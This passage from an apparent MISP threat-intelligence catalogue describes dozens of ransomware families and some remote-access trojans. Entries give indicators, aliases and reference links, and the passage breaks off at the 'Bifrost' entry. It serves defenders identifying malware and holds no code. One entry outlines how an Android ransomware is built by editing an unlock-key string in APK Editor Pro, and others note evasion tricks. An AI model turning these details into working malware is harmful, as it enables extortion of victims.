https://www.bleepingcomputer.com/news/security/xiaoba-ransomware-retooled-as-coinminer-but-manages-to-ruin-your-files-anyway/
https://twitter.com/malwrhunterteam/status/923847744137154560
https://twitter.com/struppigel/status/926748937477939200
https://twitter.com/demonslay335/status/968552114787151873
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/malwrhunterteam/status/1004048636530094081

NMCRYPT Ransomware

The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.

The tag is: *misp-galaxy:ransomware="NMCRYPT Ransomware"*

Table 3399. Table References

Links
https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/
https://www.enigmasoftware.com/nmcryptansomware-removal/

Iron

It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example. We know the Iron ransomware has mimicked at least three ransomware families:Maktub (payment portal design) DMA Locker (Iron Unlocker, decryption tool) Satan (exclusion list)

The tag is: *misp-galaxy:ransomware="Iron"*

Table 3400. Table References

Links
https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html

Tron ransomware

The tag is: *misp-galaxy:ransomware="Tron ransomware"*

Table 3401. Table References

Links
https://twitter.com/malwrhunterteam/status/985152346773696512

Unnamed ramsomware 1

A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compiles an embedded encrypted C# program at runtime and launches it directly into memory.

The tag is: *misp-galaxy:ransomware="Unnamed ramsomware 1"*

Table 3402. Table References

Links
https://www.bleepingcomputer.com/news/security/new-c-ransomware-compiles-itself-at-runtime/

HPE iLO 4 Ransomware

Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim's was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim's are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim's payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.

The tag is: *misp-galaxy:ransomware="HPE iLO 4 Ransomware"*

Table 3403. Table References

Links
https://www.bleepingcomputer.com/news/security/ransomware-hits-hpe-ilo-remote-management-interfaces/
https://twitter.com/M_Shahpasandi/status/989157283799162880

Sigrun Ransomware

When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.

The tag is: *misp-galaxy:ransomware="Sigrun Ransomware"*

Table 3404. Table References

Links
https://www.bleepingcomputer.com/news/security/sigrun-ransomware-author-decrypting-russian-victims-for-free/

CryBrazil

Mostly Hidden Tear with some codes from Eda2 & seems compiled w/ Italian VS. Maybe related to

OpsVenezuela?

The tag is: *misp-galaxy:ransomware="CryBrazil"*

Table 3405. Table References

Links
https://twitter.com/malwrhunterteam/status/1002953824590614528
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/

Pedcont

new destrucrtive ransomware called Pedcont that claims to encrypt files because the victim has accessed illegal content on the deep web. The screen then goes blank and becomes unresponsive.

The tag is: *misp-galaxy:ransomware="Pedcont"*

Table 3406. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/ [https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/]

DiskDoctor

new Scarab Ransomware variant called DiskDoctor that appends the .DiskDoctor extension and drops a ransom note named HOW TO RECOVER ENCRYPTED FILES.TXT

The tag is: *misp-galaxy:ransomware="DiskDoctor"*

DiskDoctor is also known as:

- Scarab-DiskDoctor

Table 3407. Table References

Links
https://id-ransomware.blogspot.com/2018/06/scarab-diskdoctor-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/

RedEye

Jakub Kroustek discovered the RedEye Ransomware, which appends the .RedEye extension and wipes the contents of the files. RedEye can also rewrite the MBR with a screen that gives authors contact info and YouTube channel. Bart also wrote an article on this ransomware detailing how it works and what it does on a system.The ransomware author contacted BleepingComputer and told us that this ransomware was never intended for distribution and was created just for fun.

The tag is: *misp-galaxy:ransomware="RedEye"*

Table 3408. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/JakubKroustek/status/1004463935905509376
https://bartblaze.blogspot.com/2018/06/redeye-ransomware-theres-more-than.html

Aurora Ransomware

Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.

The tag is: *misp-galaxy:ransomware="Aurora Ransomware"*

Aurora Ransomware is also known as:

- Zorro Ransomware

Table 3409. Table References

Links
https://www.spamfighter.com/News-21588-Aurora-Ransomware-Circulating-the-Cyber-Space.htm
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/demonslay335/status/1004435398687379456
https://www.bleepingcomputer.com/news/security/aurora-zorro-ransomware-actively-being-distributed/

PGPSnippet Ransomware

The tag is: *misp-galaxy:ransomware="PGPSnippet Ransomware"*

Table 3410. Table References

Links
https://twitter.com/demonslay335/status/1005138187621191681

Spartacus Ransomware

The tag is: *misp-galaxy:ransomware="Spartacus Ransomware"*

Table 3411. Table References

Links
https://twitter.com/demonslay335/status/1005136022282428419

Donut

S!Ri found a new ransomware called Donut that appends the .donut extension and uses the email donutmmm@tutanota.com.

The tag is: *misp-galaxy:ransomware="Donut"*

Table 3412. Table References

Links
https://twitter.com/siri_urz/status/1005438610806583296
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-15th-2018-dbger-scarab-and-more/

NemeS1S Ransomware

Ransomware as a Service

The tag is: *misp-galaxy:ransomware="NemeS1S Ransomware"*

Table 3413. Table References

Links
https://twitter.com/Damian1338B/status/1005411102660923392
https://www.bleepingcomputer.com/news/security/nemes1s-raas-is-padcrypt-ransomwares-affiliate-system/

Paradise Ransomware

MalwareHunterTeam discovered a new Paradise Ransomware variant that uses the extension _V.0.0.0.1{paradise@all-ransomware.info}.prt and drops a ransom note named PARADISE_README_paradise@all-ransomware.info.txt.

The tag is: *misp-galaxy:ransomware="Paradise Ransomware"*

Table 3414. Table References

Links
https://twitter.com/malwrhunterteam/status/1005420103415017472

https://twitter.com/malwrhunterteam/status/993499349199056897

B2DR Ransomware

uses the .reycarnasi1983@protonmail.com.gw3w amd a ransom note named ScrewYou.txt

The tag is: *misp-galaxy:ransomware="B2DR Ransomware"*

Table 3415. Table References

Links
https://twitter.com/demonslay335/status/1006220895302705154

YYTO Ransomware

uses the extension .codyprince92@mail.com.ovgm and drops a ransom note named Readme.txt

The tag is: *misp-galaxy:ransomware="YYTO Ransomware"*

Table 3416. Table References

Links
https://twitter.com/demonslay335/status/1006237353474756610

Unnamed ramsomware 2

The tag is: *misp-galaxy:ransomware="Unnamed ramsomware 2"*

Table 3417. Table References

Links
https://twitter.com/demonslay335/status/1007334654918250496

Everbe Ransomware

The tag is: *misp-galaxy:ransomware="Everbe Ransomware"*

Table 3418. Table References

Links
https://www.bleepingcomputer.com/news/security/decryptor-released-for-the-everbe-ransomware/
https://twitter.com/malwrhunterteam/status/1065675918000234497
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/

DirCrypt

The tag is: *misp-galaxy:ransomware="DirCrypt"*

DirCrypt has relationships with:

- similar: misp-galaxy:malpedia="DirCrypt" with estimative-language:likelihood-probability="likely"

Table 3419. Table References

Links
https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/

DBGer Ransomware

The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new version earlier today. The change was not only in name but also in the ransomware's modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan's modus operandi.

The tag is: *misp-galaxy:ransomware="DBGer Ransomware"*

Table 3420. Table References

Links
https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/

RASTAKHIZ

Hidden Tear variant discovered in October 2016. After activation, provides victims with an unlimited amount of time to gather the requested ransom money and pay it. Related unlock keys and the response sent to and from a Gmail addres

The tag is: *misp-galaxy:ransomware="RASTAKHIZ"*

Table 3421. Table References

Links
https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]

TYRANT

DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir.Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.

The tag is: *misp-galaxy:ransomware="TYRANT"*

TYRANT is also known as:

- Crypto Tyrant

Table 3422. Table References

Links
https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]

WannaSmile

zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[.]ir, www.payment24[.]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.

The tag is: *misp-galaxy:ransomware="WannaSmile"*

Table 3423. Table References

Links
https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]

Unnamed Android Ransomware

Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key.

The tag is: *misp-galaxy:ransomware="Unnamed Android Ransomware"*

Table 3424. Table References

Links
https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]

KEYPASS

A new distribution campaign is underway for a STOP Ransomware variant called KeyPass based on the amount of victims that have been seen. Unfortunately, how the ransomware is being distributed is unknown at this time.

The tag is: *misp-galaxy:ransomware="KEYPASS"*

KEYPASS is also known as:

- KeyPass

Table 3425. Table References

Links
https://www.bleepingcomputer.com/news/security/new-keypass-ransomware-campaign-underway/

STOP Ransomware

Emmanuel_ADC-Soft found a new STOP Ransomware variant that appends the .INFOWAIT extension and drops a ransom note named !readme.txt.

The tag is: *misp-galaxy:ransomware="STOP Ransomware"*

Table 3426. Table References

Links
https://twitter.com/Emm_ADC_Soft/status/1064459080016760833
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/MarceloRivero/status/1065694365056679936

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware

A new ransomware that only encrypts .EXE files on a computer. It then displays a screen with a picture of President Obama that asks for a "tip" to decrypt the files.

The tag is: *misp-galaxy:ransomware="Barack Obama’s Everlasting Blue Blackmail Virus Ransomware"*

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware is also known as:

- Barack Obama’s Blackmail Virus Ransomware

Table 3427. Table References

Links
https://twitter.com/malwrhunterteam/status/1032242391665790981
https://www.bleepingcomputer.com/news/security/barack-obamas-blackmail-virus-ransomware-only-encrypts-exe-files/

CryptoNar

When the CryptoNar, or Crypto Nar, Ransomware encrypts a victims files it will perform the encryption differently depending on the type of file being encrypted. If the targeted file has a .txt or .md extension, it will encrypt the entire file and append the .fully.cryptoNar extension to the encrypted file’s name. All other files will only have the first 1,024 bytes encrypted and will have the .partially.cryptoNar extensions appended to the file’s name.

The tag is: *misp-galaxy:ransomware="CryptoNar"*

CryptoNar has relationships with:

- similar: misp-galaxy:ransomware="CryptoJoker" with estimative-language:likelihood-probability="likely"

Table 3428. Table References

Links
https://www.bleepingcomputer.com/news/security/cryptonar-ransomware-discovered-and-quickly-decrypted/
https://twitter.com/malwrhunterteam/status/1034492151541977088

CreamPie Ransomware

Jakub Kroustek found what appears to be an in-dev version of the CreamPie Ransomware. It does not currently display a ransom note, but does encrypt files and appends the .[backdata@cock.li].CreamPie extension to them.

The tag is: *misp-galaxy:ransomware="CreamPie Ransomware"*

Table 3429. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/JakubKroustek/status/1033656080839139333

Jeff the Ransomware

Looks to be in-development as it does not encrypt.

The tag is: *misp-galaxy:ransomware="Jeff the Ransomware"*

Table 3430. Table References

Links
https://twitter.com/leotpsc/status/1033625496003731458
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Cassetto Ransomware

Michael Gillespie saw an encrypted file uploaded to ID Ransomware that appends the .cassetto extension and drops a ransom note named IMPORTANT ABOUT DECRYPT.txt.

The tag is: *misp-galaxy:ransomware="Cassetto Ransomware"*

Table 3431. Table References

Links
https://twitter.com/demonslay335/status/1034213399922524160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Acroware Cryptolocker Ransomware

Leo discovered a screenlocker that calls itself Acroware Cryptolocker Ransomware. It does not encrypt.

The tag is: *misp-galaxy:ransomware="Acroware Cryptolocker Ransomware"*

Acroware Cryptolocker Ransomware is also known as:

- Acroware Screenlocker

Table 3432. Table References

Links
https://twitter.com/leotpsc/status/1034346447112679430
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Termite Ransomware

Ben Hunter discovered a new ransomware called Termite Ransomware. When encrypting a computer it will append the .aaaaaa extension to encrypted files.

The tag is: *misp-galaxy:ransomware="Termite Ransomware"*

Table 3433. Table References

Links
https://twitter.com/B_H101/status/1034379267956715520
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

PICO Ransomware

S!Ri found a new Thanatos Ransomware variant called PICO Ransomware. This ransomware will append the .PICO extension to encrypted files and drop a ransom note named README.txt.

The tag is: *misp-galaxy:ransomware="PICO Ransomware"*

PICO Ransomware is also known as:

- Pico Ransomware

Table 3434. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/siri_urz/status/1035138577934557184

Sigma Ransomware

Today one of our volunteers, Aura, told me about a new new malspam campaign pretending to be from Craigslist that is under way and distributing the Sigma Ransomware. These spam emails contain password protected Word or RTF documents that download the Sigma Ransomware executable from a remote site and install it on a recipients computer.

The tag is: *misp-galaxy:ransomware="Sigma Ransomware"*

Table 3435. Table References

Links
https://www.bleepingcomputer.com/news/security/sigma-ransomware-being-distributed-using-fake-craigslist-malspam/

Crypt0saur

The tag is: *misp-galaxy:ransomware="Crypt0saur"*

Mongo Lock

An attack called Mongo Lock is targeting remotely accessible and unprotected MongoDB databases, wiping them, and then demanding a ransom in order to get the contents back. While this new campaign is using a name to identify itself, these types of attacks are not new and MongoDB databases have been targeted for a while now. These hijacks work by attackers scanning the Internet or using services such as Shodan.io to search for unprotected MongoDB servers. Once connected, the attackers may export the databases, delete them, and then create a ransom note explaining how to get the databases back.

The tag is: *misp-galaxy:ransomware="Mongo Lock"*

Table 3436. Table References

Links
https://www.bleepingcomputer.com/news/security/mongo-lock-attack-ransoming-deleted-mongodb-databases/

Kraken Cryptor Ransomware

The Kraken Cryptor Ransomware is a newer ransomware that was released in August 2018. A new version, called Kraken Cryptor 1.5, was recently released that is masquerading as the legitimate SuperAntiSpyware anti-malware program in order to trick users into installing it.

The tag is: *misp-galaxy:ransomware="Kraken Cryptor Ransomware"*

Table 3437. Table References

Links
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-now-installing-the-kraken-cryptor-ransomware/
https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/
https://twitter.com/MarceloRivero/status/1059575186117328898
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

SAVEfiles

The tag is: *misp-galaxy:ransomware="SAVEfiles"*

Table 3438. Table References

Links
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-pushing-the-savefiles-ransomware/

File-Locker

The File-Locker Ransomware is a Hidden Tear variant that is targeting victims in Korea. When victim's are infected it will leave a ransom requesting 50,000 Won, or approximately 50 USD, to get the files back. This ransomware uses AES encryption with a static password of "dnwls07193147", so it is easily decryptable.

The tag is: *misp-galaxy:ransomware="File-Locker"*

Table 3439. Table References

Links
https://www.bleepingcomputer.com/news/security/file-locker-ransomware-targets-korean-victims-and-asks-for-50k-won/

CommonRansom

A new ransomware called CommonRansom was discovered that has a very bizarre request. In order to decrypt a computer after a payment is made, they require the victim to open up Remote Desktop Services on the affected computer and send them admin credentials in order to decrypt the victim's files.

The tag is: *misp-galaxy:ransomware="CommonRansom"*

Table 3440. Table References

Links
https://www.bleepingcomputer.com/news/security/commonransom-ransomware-demands-rdp-access-to-decrypt-files/

God Crypt Joke Ransomware

MalwareHunterTeam found a new ransomware called God Crypt that does not appear to decrypt and appears to be a joke ransomware. Has an unlock code of 29b579fb811f05c3c334a2bd2646a27a.

The tag is: *misp-galaxy:ransomware="God Crypt Joke Ransomware"*

God Crypt Joke Ransomware is also known as:

- Godsomware v1.0
- Ransomware God Crypt

Table 3441. Table References

Links
https://twitter.com/malwrhunterteam/status/1048616343975682048
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/

DecryptFox Ransomware

Michael Gillespie found a new ransomware uploaded to ID Ransomware that appends the .encr extension and drops a ransom note named readmy.txt.

The tag is: *misp-galaxy:ransomware="DecryptFox Ransomware"*

Table 3442. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049325784979132417

garrantydecrypt

Michael Gillespie found a new ransomware that appends the .garrantydecrypt extension and drops a ransom note named RECOVERY_FILES.txt

The tag is: *misp-galaxy:ransomware="garrantydecrypt"*

Table 3443. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/

MVP Ransomware

Siri discovered a new ransomware that is appending the .mvp extension to encrypted files.

The tag is: *misp-galaxy:ransomware="MVP Ransomware"*

Table 3444. Table References

Links
https://twitter.com/siri_urz/status/1039077365039673344
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

StorageCrypter

Michael Gillespie noticed numerous submissions to ID Ransomware from South Korea for the StorageCrypter ransomware. This version is using a new ransom note named read_me_for_recover_your_files.txt.

The tag is: *misp-galaxy:ransomware="StorageCrypter"*

Table 3445. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
[]

Rektware

GrujaRS discovered a new ransomware called Rektware that appends the .CQScSFy extension

The tag is: *misp-galaxy:ransomware="Rektware"*

Table 3446. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
https://twitter.com/GrujaRS/status/1040677247735279616

M@r1a ransomware

The tag is: *misp-galaxy:ransomware="M@r1a ransomware"*

M@r1a ransomware is also known as:

- M@r1a
- BlackHeart

Table 3447. Table References

Links
https://twitter.com/malwrhunterteam/status/1058775145005887489
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

"prepending (enc) ransomware" (Not an official name)

The tag is: *misp-galaxy:ransomware=""prepending (enc) ransomware" (Not an official name)"*

Table 3448. Table References

Links
https://twitter.com/demonslay335/status/1059470985055875074
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

PyCL Ransomware

The tag is: *misp-galaxy:ransomware="PyCL Ransomware"*

Table 3449. Table References

Links
https://twitter.com/demonslay335/status/1060921043957755904

Vapor Ransomware

MalwareHunterTeam discovered the Vapor Ransomware that appends the .Vapor extension to encrypted files. Will delete files if you do not pay in time.

The tag is: *misp-galaxy:ransomware="Vapor Ransomware"*

Table 3450. Table References

Links
https://twitter.com/malwrhunterteam/status/1063769884608348160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/

EnyBenyHorsuke Ransomware

GrujaRS discovered a new ransomware called EnyBenyHorsuke Ransomware that appends the .Horsuke extension to encrypted files.

The tag is: *misp-galaxy:ransomware="EnyBenyHorsuke Ransomware"*

Table 3451. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/GrujaRS/status/1063930127610986496

DeLpHiMoRix

The tag is: *misp-galaxy:ransomware="DeLpHiMoRix"*

DeLpHiMoRix is also known as:

- DelphiMorix

Table 3452. Table References

Links
https://twitter.com/petrovic082/status/1065223932637315074

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/demonslay335/status/1066099799705960448

EnyBeny Nuclear Ransomware

@GrujaRS discovered a new in-dev ransomware called EnyBeny Nuclear Ransomware that meant to append the extension .PERSONAL_ID:.Nuclear to encrypted files, but failed due to a bug.

The tag is: *misp-galaxy:ransomware="EnyBeny Nuclear Ransomware"*

Table 3453. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-30th-2018-indictments-sanctions-and-more/
https://twitter.com/GrujaRS/status/1066799421080461312
https://www.youtube.com/watch?v=_aaFon7FVbc

Lucky Ransomware

Michael Gillespie discovered a new ransomware that renamed encrypted files to " [original].[random].lucky" and drops a ransom note named *How_To_Decrypt_My_File*.txt.

The tag is: *misp-galaxy:ransomware="Lucky Ransomware"*

Table 3454. Table References

Links
https://twitter.com/demonslay335/status/1067109661076262913
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-30th-2018-indictments-sanctions-and-more/

WeChat Ransom

Over 100,000 thousand computers in China have been infected in just a few days with poorly-written ransomware that encrypts local files and steals credentials for multiple Chinese online services. The crooks show a screen titled UNNAMED1989 and demand the victim a ransom of 110 yuan ($16) in exchange for decrypting the files, payable via Tencent's WeChat payment service by scanning a QR code.

The tag is: *misp-galaxy:ransomware="WeChat Ransom"*

WeChat Ransom is also known as:

- UNNAMED1989

Table 3455. Table References

Links
https://www.bleepingcomputer.com/news/security/ransomware-infects-100k-pcs-in-china-demands-wechat-payment/
https://www.bleepingcomputer.com/news/security/chinese-police-arrest-dev-behind-unnamed1989-wechat-ransomware/

IsraBye

The tag is: *misp-galaxy:ransomware="IsraBye"*

Table 3456. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://www.youtube.com/watch?v=QevoUzbqNTQ
https://twitter.com/GrujaRS/status/1070011234521673728

Dablio Ransomware

The tag is: *misp-galaxy:ransomware="Dablio Ransomware"*

Table 3457. Table References

Links
https://twitter.com/struppigel/status/1069905624954269696
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/

Gerber Ransomware 1.0

The tag is: *misp-galaxy:ransomware="Gerber Ransomware 1.0"*

Table 3458. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://twitter.com/petrovic082/status/1071003939015925760

Gerber Ransomware 3.0

The tag is: *misp-galaxy:ransomware="Gerber Ransomware 3.0"*

Outsider

The tag is: *misp-galaxy:ransomware="Outsider"*

Table 3459. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://twitter.com/GrujaRS/status/1071153192975642630
https://www.youtube.com/watch?v=iB019lDvArs

JungleSec

Uses http://ccrypt.sourceforge.net/ encryption program

The tag is: *misp-galaxy:ransomware="JungleSec"*

Table 3460. Table References

Links
https://twitter.com/demonslay335/status/1071123090564923393
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/

RAT

remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote "operator" to control a system as if they have physical access to that system..

RAT is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various - raw-data

TeamViewer

TeamViewer is a proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers.

The tag is: *misp-galaxy:rat="TeamViewer"*

Table 3461. Table References

Links

https://www.teamviewer.com

JadeRAT

JadeRAT is just one example of numerous mobile surveillanceware families we’ve seen in recent months, indicating that actors are continuing to incorporate mobile tools in their attack chains. Threat actor, using a tool called JadeRAT, targets the mobile phones of ethnic minorities in China, notably Uighurs, for the purpose of espionage.

The tag is: *misp-galaxy:rat="JadeRAT"*

JadeRAT has relationships with:

- similar: misp-galaxy:malpedia="JadeRAT" with estimative-language:likelihood-probability="likely"

Table 3462. Table References

Links
https://blog.lookout.com/mobile-threat-jaderat
https://www.cfr.org/interactive/cyber-operations/jaderat

Back Orifice

Back Orifice (often shortened to BO) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location.

The tag is: *misp-galaxy:rat="Back Orifice"*

Back Orifice is also known as:

- BO

Table 3463. Table References

Links
http://www.cultdeadcow.com/tools/bo.html
http://www.symantec.com/avcenter/warn/backorifice.html

Netbus

NetBus or Netbus is a software program for remotely controlling a Microsoft Windows computer system over a network. It was created in 1998 and has been very controversial for its potential of being used as a backdoor.

The tag is: *misp-galaxy:rat="Netbus"*

Netbus is also known as:

- NetBus

Table 3464. Table References

Links
http://www.symantec.com/avcenter/warn/backorifice.html
https://www.f-secure.com/v-descs/netbus.shtml

PoisonIvy

Poison Ivy is a RAT which was freely available and first released in 2005.

The tag is: *misp-galaxy:rat="PoisonIvy"*

PoisonIvy is also known as:

- Poison Ivy
- Backdoor.Win32.PoisonIvy
- Gen:Trojan.Heur.PT

PoisonIvy has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"

Table 3465. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml

Sub7

Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards ("suBteN") and swapping "ten" with "seven". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy.

The tag is: *misp-galaxy:rat="Sub7"*

Sub7 is also known as:

- SubSeven
- Sub7Server

Table 3466. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2001-020114-5445-99

Beast Trojan

Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a "RAT". It is capable of infecting versions of Windows from 95 to 10.

The tag is: *misp-galaxy:rat="Beast Trojan"*

Table 3467. Table References

Links
https://en.wikipedia.org/wiki/Beast_(Trojan_horse)

Bifrost

